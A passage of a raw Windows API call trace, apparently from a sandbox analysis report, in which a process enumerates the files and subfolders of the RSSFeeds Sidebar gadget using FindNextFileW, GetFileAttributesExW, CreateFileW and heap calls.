cFileName="timer_over.png", cAlternateFileName="")) returned 1 [0090.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba1d9c5d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba1d9c5d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0c028fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_up.png", cAlternateFileName="")) returned 1 [0090.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba1d9c5d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba1d9c5d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0c028fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_up.png", cAlternateFileName="")) returned 0 [0090.197] GetLastError () returned 0x12 [0090.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1321088) returned 1 [0090.197] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0090.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1320f80) returned 1 [0090.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1320e78) returned 1 [0090.199] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaa7abe3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaa7abe3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0c74d1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0090.199] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaa7abe3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaa7abe3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0c74d1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0090.199] GetLastError () returned 0x12 [0090.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131d9e0) returned 1 [0090.199] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131ed78) returned 1 [0090.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131dae8) returned 1 [0090.200] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.Gadget", cAlternateFileName="")) returned 1 [0090.200] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.200] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0090.200] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0090.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.201] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0090.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.201] NtClose (Handle=0x164) returned 0x0 [0090.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131dae8 [0090.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131ed78 [0090.202] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0090.202] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.202] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbb96990, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbb96990, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc45e1fdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2141, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0090.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131d9e0 [0090.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2f98 [0090.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1320e78 [0090.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.205] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0090.205] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc467a55c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xc467a55c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xc467a55c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1d07, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0090.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2fb8 [0090.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1320f80 [0090.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.206] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8199177f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8199177f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0090.206] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbb4a6d2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbb4a6d2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc6d0297c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0090.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2fd8 [0090.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1321088 [0090.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.208] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbb4a6d2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbb4a6d2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc6d0297c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0090.208] GetLastError () returned 0x12 [0090.208] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0090.208] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.208] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.208] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbb96990, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbb96990, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc45e1fdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2141, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0090.208] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0090.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133ef20 [0090.209] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.210] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0090.210] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0090.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.211] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0090.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.211] NtClose (Handle=0x164) returned 0x0 [0090.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x133ef20) returned 1 [0090.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133ef20 [0090.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f028 [0090.213] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0090.213] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.213] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0090.213] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x86a, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.html", cAlternateFileName="")) returned 1 [0090.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f130 [0090.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2ff8 [0090.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f238 [0090.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.215] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0090.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3018 [0090.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f340 [0090.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.217] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0090.217] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x271c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.html", cAlternateFileName="")) returned 1 [0090.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3038 [0090.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f448 [0090.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.218] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xcfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0090.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3058 [0090.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f550 [0090.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.220] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xcfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0 [0090.220] GetLastError () returned 0x12 [0090.220] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0090.220] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.220] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.221] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, 